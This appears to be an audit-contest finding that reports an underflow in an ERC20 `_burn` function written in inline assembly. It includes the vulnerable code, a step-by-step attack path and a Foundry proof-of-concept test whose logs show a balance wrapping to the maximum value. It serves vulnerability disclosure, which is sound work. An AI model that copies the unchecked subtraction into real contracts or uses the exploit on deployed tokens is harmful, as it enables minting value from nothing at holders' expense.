Token-0x

First Flight #54
Beginner FriendlyDeFi
100 EXP
Submission Details
Impact: high
Likelihood: high

missing underflow checks in `_burn` will allow user to get rich out of thin air

Author Revealed upon completion

Root + Impact

Description

ERC20Internal::_burn function uses inline assembly to directly reduce the user's balance, without any prior validation on their balance, which could possibly resulting in underflow if an attempt to burn way more than they have.

By default, inline assembly will not checks for underflow/overflow, nor automatically revert if such operation error occurs.

Since this function directly reduce the amount without validating their balance, an attempt to burn way more than they have will result in underflow, turning the amount balance to `type(uint).max` and start reducing from such value until the reduction ends

function _burn(address account, uint256 value) internal {
assembly ("memory-safe") {
// revert on address(0)
if iszero(account) {
mstore(0x00, shl(224, 0x96c6fd1e))
mstore(add(0x00, 4), 0x00)
revert(0x00, 0x24)
}
// @audit q what if user trynna burn more than they have?
let ptr := mload(0x40)
let balanceSlot := _balances.slot
let supplySlot := _totalSupply.slot
// reduce totalSupply
let supply := sload(supplySlot)
sstore(supplySlot, sub(supply, value))
mstore(ptr, account)
mstore(add(ptr, 0x20), balanceSlot)
// reduce account balance
let accountBalanceSlot := keccak256(ptr, 0x40)
let accountBalance := sload(accountBalanceSlot)
sstore(accountBalanceSlot, sub(accountBalance, value))
}
}

Risk

Likelihood: High/Medium (depending on the implementation on how easy it is to get tokens)

  • Every user who has any amount of tokens can trigger this vulnarability

Impact: High

  • User who triggers the vulnarability get to own almost up to type(uint).max amount of tokens

Attack Path:

any user with tokens in-hand can call any function from the implementation contract that triggers ERC20Internal::_burn, with an attempt to burn more tokens than they have. Since the inline assembly does not handle underflow issue, nor a validation on user's balance, the reduction will wrapped and continue from type(uint).max onwards.

  1. user1 holds 1 token

  2. user1 burns 2 tokens

  3. since the function lacks of validation on underflow checks, this action wont revert

  4. when start reducing a total of 1 token by 2, the subtraction will continue starting from type(uint).max after reaching 0

  5. when user1 query his account balance, it shows a very huge number (e.g. up to type(uint).max )

  6. user1 just got lots of tokens !!! to test if its real, he transfers 1000000 tokens to user2

  7. user2 query his balance and has confirmed that his balance has increased 1000000 tokens !!!

Proof of Concept

function test_burnUnderflow_possible() public {
// user1 get 1 tokens
token.mint(user1, 1 ether);
uint BalBefore = token.balanceOf(user1);
token.burn(user1, 1 ether + 1);
uint BalAfter = token.balanceOf(user1);
// log user1 balance before and after burned
console.log("user1 Balance After Minted: ", BalBefore);
console.log("user1 Balance After Burned: ", BalAfter);
// test if the multi-trillionaire user1 can use the token
vm.prank(user1);
token.transfer(user2, 1000000 ether);
// log the balance for both people
// user2 just got the tokens !! both just got rich out of nothing
console.log("user1 Balance After Using Token: ", token.balanceOf(user1));
console.log("user2 Balance After Receiving Token: ", token.balanceOf(user2));
}

below is the output log:

Ran 1 test for test/audit.sol:auditTest
[PASS] test_burnUnderflow_possible() (gas: 100054)
Logs:
user1 Balance After Minted: 1000000000000000000
user1 Balance After Burned: 115792089237316195423570985008687907853269984665640564039457584007913129639935
user1 Balance After Using Token: 115792089237316195423570985008687907853269984665640563039457584007913129639935
user2 Balance After Receiving Token: 1000000000000000000000000

Recommended Mitigation

explicitly validate the user's balance before reducing their amount. revert if an attempt to burn more than they balance has.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!